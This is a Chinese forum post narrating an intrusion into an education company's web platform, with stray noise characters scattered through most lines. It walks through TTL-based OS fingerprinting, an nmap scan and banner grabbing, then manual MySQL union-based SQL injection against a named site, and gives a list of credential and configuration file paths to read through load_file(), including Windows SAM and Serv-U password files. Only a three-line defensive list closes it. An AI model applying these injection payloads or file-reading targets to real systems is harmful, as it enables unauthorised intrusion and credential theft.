题记：
4 @8 f! Y' h6 A% t, p. V7 `一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……# x6 ~* o" B5 t5 a2 ^
第一步：获取需要的信息
0 y7 S [0 a6 Z: n. W7 |# |/ @由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。6 Y' ^" e- B& B8 K8 e+ `
注：以下为保护特用XXX代替敏感信息
# e5 z; ^2 [1 e. X" H顺手先PING了一下他们的域名：
3 [5 u2 p- f# Sping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）" t/ K7 _6 t, i, f4 D
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms$ C; R) I- @8 j' C+ H) e
顺便了解一下TTL，学好基础知识才能一路顺风：
* S2 E5 G( ]6 G' A3 Z# NTTL：(Time To Live ) 生存时间+ R$ r8 y, k, P# l( v
指定数据包被路由器丢弃之前允许通过的网段数量。! e. M- M9 _1 X8 N, F
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。' G& Q9 t4 J$ a/ \1 e$ a( W
使用PING时涉及到的 ICMP 报文类型
1 @+ U' P" ?7 T8 M* R一个为ICMP请求回显（ICMP Echo Request）6 y$ d# E1 d4 u: ?
一个为ICMP回显应答（ICMP Echo Reply）" Q4 L: j' T6 g" Q; }
TTL 字段值可以帮助我们识别操作系统类型。
0 J% }8 S# W) m9 ~9 sUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255% P) a* D- I* ^6 Q3 a9 m% m' D6 Z# c
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 641 l$ }8 H6 {0 i9 |' f1 y
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. V `& B. f0 ^0 c
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
: q0 g& a d$ s6 u当然，返回的TTL值是相同的
/ Q4 t. [! x0 g% |$ B/ f但有些情况下有所特殊
: S# a8 f' }# ^& Z0 W1 E" jLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
! T6 S7 [ X8 H) M& s1 N9 o9 [+ g8 v* eFreeBSD 4.1, 4.0, 3.4;
5 {) g& y0 B0 Q, w5 ?& l7 G$ KSun Solaris 2.5.1, 2.6, 2.7, 2.8;2 R! d/ h: T* v+ g/ Q0 F9 T) C
OpenBSD 2.6, 2.7,9 b/ K3 q7 o8 j& \' M
NetBSD
0 N1 m7 n: g6 ~3 Z7 Q; l# A' PHP UX 10.20
# R' v; N/ D( l$ y$ E. r7 sICMP 回显应答的 TTL 字段值为 255
% O; _8 H4 M1 U7 n7 lWindows 95/98/98SE
6 |, |0 m! B0 WWindows ME
% X/ i- b! p, ~% jICMP 回显应答的 TTL 字段值为 32+ ?- c2 U4 f2 ~- O/ C3 |- J; ~9 M
Windows NT4 WRKS# ]4 ]$ R9 ]/ Z$ c5 P( z8 n$ ]
Windows NT4 Server, g: C; j H/ v1 t+ M+ B, E
Windows 20006 M4 c5 I0 v1 B$ w9 [: v
Windows XP
4 P0 ?/ I- `, J8 @9 wICMP 回显应答的 TTL 字段值为 128
1 @, M2 U0 J. N' `4 u) z这样，我们就可以通过这种方法来辨别操作系统
5 H, ?! U. _0 f& ?- ?TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
* b7 U$ e* K2 L7 n {7 F5 B9 s3 G用NMAP扫描一下：
+ `5 P1 c- R: c0 \! }2 g0 Znmap -sT -O XXX.XXX.XXX.XXX
6 S5 M; q0 L6 c, [' p8 M1 g" P% f如果没有装WinPcap则会弹出提示：
# ^) H+ ^' V! Z( F, J$ RWARNING: Could not import all necessary WinPcap functions. You may need to upgr
1 W1 t% x. w1 M+ Y. Sade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(; W# N( E/ s. i- K$ V
) mode — Nmap may not function completely
& o- s6 @! u4 g i) C' CTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher" [! t# |5 L& M
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
' A. S. J6 t" K$ W! e( B7 npcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
$ m$ ^# i6 l" D6 t8 Fd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v7 F3 X) \9 M& m8 Y; g
ersions, you may be able to take iphlpapi.dll from another system and place it i2 c) Z/ S# m7 y7 b
n your system32 dir (e.g. c:\windows\system32).1 ~3 H7 Y; Y* S( `
QUITTING!/ s g' h8 _7 ^; U, I
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
: C$ V) L* a( w安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：/ {3 c$ r4 e7 [0 D& A. b0 ]
Interesting ports on XXX.XXX.XXX.XXX:
3 K5 b% X+ s: L* a9 P, I- RNot shown: 986 closed ports9 r+ R' j. |/ j
PORT STATE SERVICE/ L3 F" U* e9 `* O
21/tcp open ftp
" G/ o d7 `" h X0 \22/tcp open ssh" ]; O9 x7 ~9 q! j9 i
23/tcp open telnet! s3 E/ B v& r, Z0 n* ~8 E. M1 q/ U
80/tcp open http
9 e* d, f/ \6 x+ j! H9 B) K111/tcp open rpcbind
# R) j( R; u7 ~/ [" o& i$ J135/tcp filtered msrpc
. j1 F6 c# a' `) d139/tcp filtered netbios-ssn
B3 L* Q" U* I, p6 V/ J+ ?+ a445/tcp filtered microsoft-ds! p" V% H) a" l; B2 U: }3 x. q
513/tcp open login$ i/ R M7 A1 G
514/tcp open shell
# {. [- G7 p& W7 G' l+ @593/tcp filtered http-rpc-epmap, m5 C. l$ g: V: Y# ?
1720/tcp filtered H.323/Q.931
0 M8 G+ X/ |; O" a3306/tcp open mysql
5 e1 f" n/ w. m4444/tcp filtered krb524' v+ A0 i8 S9 f# t! I" r! L1 V
Device type: WAP" a4 Q% r# r" b* h; ?
Running: Linux 2.4.X$ G: E* p) z. a) k
OS details: DD-WRT (Linux 2.4.35s), Z5 q: n7 a Y* r! g8 C8 u4 k
Network Distance: 13 hops
; a3 b( ~/ W3 F4 j3 d8 n6 O看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：. o+ m# e6 o' O3 s8 {/ l k) ]2 S- ?9 m
login as:9 Z" M) c$ l; \7 K; B% V$ {
Telnet23端口也是开着的，用telnet 命令链接一下：9 v5 |. o$ D. @: m( m7 P
telnet XXX.XXX.XXX.XXX# |2 J% p! ]+ O- z, E5 L- v3 R
提示：7 N# U6 X; g" o! m
Red Hat Enterprise Linux Server release 5.2 (Tikanga); }8 X/ g3 I! U2 ]
Kernel 2.6.18-92.el5PAE on an i686
' k/ K* h# |! r! M& g, U, f! Elogin:
' ~5 {* R( B8 }/ A7 N获取HTTP头信息：
% J' D- t4 {' E在本地执行如下PHP代码, k* Z( T* K0 L }' S% n/ Z, J
<?php
+ w1 |/ @* i' Z$url = ‘XXX.XXX.XXX.XXX’;: _ s8 \! H2 Z# G& E/ ]6 c% W
print_r(get_headers($url));
: G4 k4 }: M% Kprint_r(get_headers($url, 1));
~4 `$ T+ m+ k; h+ x$ M( P?>2 Y6 p3 ]) D3 U- \ A9 Q
将以上代码保存为PHP文件，执行：) s: s- X2 g- R# x
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 g. w# f: i1 x w8 v* s! I现在可以得出结论：) \0 h( S6 C" K! d4 l
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
8 q; N! j d1 T3 u+ s( A+ B内核版本：Kernel 2.6.18-92.el5PAE on an i686& l: \' n* G' A% R* h
WEB服务器版本：nginx/0.7.614 X, ?9 P' _% @" b0 T* G9 ]
第二步，开始测试寻找漏洞5 w L: i$ m+ ^, ^* r" h
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。3 [: x( ^! Y6 |$ J/ J. @
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的( ?: O2 Y4 O5 c# i
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
) x' @( _& O' ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常3 x1 g. p! B {. v
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
* p/ B/ z* }( `% \# q0 \$ x恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
& s' B' e# M3 R+ y3、手工注入：
( W5 z t" o. E7 W K! F$ C注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。$ g2 {; H; g; g
3.1 猜测当前表字段数
' C6 O3 w) k3 m: k f3 Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10: c& |8 ]2 X' `( s9 L- Y8 U6 l) D
此处猜测有个简单的算法，都是有技巧的吗，呵呵$ q" Q( ?) t! R
算法简单如下：9 O6 j( ^5 B8 g
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
9 Z% z; r+ o) c& {3 c1 w2 \) r第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；# m! r2 b. ?, J" n( m
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。0 b* A: p) u& W
以此来判断，是否过界，配合取中算法猜出字段数。
% ^6 j2 N1 ]9 J: t' Y0 A ~6 o6 @* y举例：
) }& n# p1 c- Q2 G. q& l$ Dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常4 s9 S& Q" _3 t
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
4 t- t! H: O' w此时3则为我们要找的字段数。
* W: `/ P6 e8 i& t! p& P3.2 配合union联合查询字段在页面所位置
) Y9 \4 z1 B& f7 ^% `. T我们已经知道了字段数为3，此时则可以做如下操作：8 ~$ ?6 j) G1 m- F
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
$ f- d! F9 G8 B1 C' C" m( f! v6 X7 y5 ]; [. ?$ \
这样就可以测试到哪些字段在页面上有所显示了，如图：
! t. V- V, h6 I" F9 a2 M8 W
! Z7 k& A5 G' W6 M2 g, c7 _3.3 查敏感信息0 w) b" {' p4 A# F! Z1 v
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
- h/ ?* ], R4 i/ |4 b. @) \2 Ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
2 a& u3 Y1 a6 t" R5 p, Z& @0 M( A6 @3.3.1 先查数据库用户、数据库名，以备后用，如图：
6 V3 i2 _9 W Z* o7 {8 g& Y
@" _( I' _1 X% Q得到数据库用户为root、数据库名为DBxx；8 j" f. s, \1 r
3.3.2 查配置文件
2 a& V* _! G6 y$ U; X1 F6 u查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。1 C+ q, o+ I. Q9 N4 g9 X
查看文件有一定的条件限制：2 ~8 t D" }/ h# x- D
欲读取文件必须在服务器上, `. Z. t8 f- n. U I
必须指定文件完整的路径# w4 Z; Q* E5 ~3 q5 f) c
必须有权限读取并且文件必须完全可读, K1 e& o& s$ |1 T/ W* M4 H$ Z
欲读取文件必须小于 max_allowed_packet/ U( G) p) v$ {/ m8 l' l* [, m
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
" k3 j' i% a7 ]+ E4 R% N1 w常用的一些：; s/ R; H5 c3 o, b3 H( F
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件2 ?5 Q$ ]3 X# v+ Y9 I! B6 t6 A
/usr/local/apache2/conf/httpd.conf9 T7 \9 H; W% |% ^/ {2 x
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置$ L( V4 _6 V+ ^4 M5 T
/usr/local/app/php5/lib/php.ini //PHP相关设置' I4 R/ L7 A# ?5 R& _
/etc/sysconfig/iptables //从中得到防火墙规则策略
( E4 N0 D+ U6 z' M$ |' J# `/etc/httpd/conf/httpd.conf // apache配置文件
# o. O! [5 J. H( z0 E" V/etc/rsyncd.conf //同步程序配置文件5 ?( d/ g4 K% n+ k& p7 V
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.% F" n. K0 \3 T, t" m5 N
/etc/my.cnf //mysql的配置文件
4 G, j+ c3 O" H# q$ ]/etc/redhat-release //系统版本, D0 s* R3 U( j/ H4 k' O s* W
/etc/issue
# N% `4 T% F h( t9 w/ R1 f9 W/etc/issue.net1 E8 |3 }+ y) j. O- j/ I
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
3 a2 j2 [: z1 cc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
, |, O; ], s8 l& wc:\Program Files\Serv-U\ServUDaemon.ini( R3 u7 P5 ^1 n( `3 U
c:\windows\my.ini //MYSQL配置文件
6 ~7 t" {% K/ |9 {7 [2 E) _/ Wc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
# ?/ ^$ @" R: P6 E" Z等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
- [- k. W9 F( M- Ic:\windows\repair\sam //存储了WINDOWS系统初次安装的密码. V2 W6 X Y& o- l3 P
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
0 f1 |$ k- e% j5 J! F" Dc:\Program Files\RhinoSoft.com\ServUDaemon.exe/ ?5 X) ]% s3 d
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件( Y8 h' n9 @' P6 }
//存储了pcAnywhere的登陆密码
5 I) }! \' U1 x$ w Z h由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。" F. i0 H; o0 M6 {) }
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
% ~0 M' A7 Q" o5 [. p& a最后：防范措施
3 Z' e& G1 Z) K2 Q) X& f3 k1、修复PHP注入漏洞；) i. q1 m/ Q( b H$ u0 n
2、Mysql使用普通权限的用户；
e/ F" d# c Z# B5 V, y3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对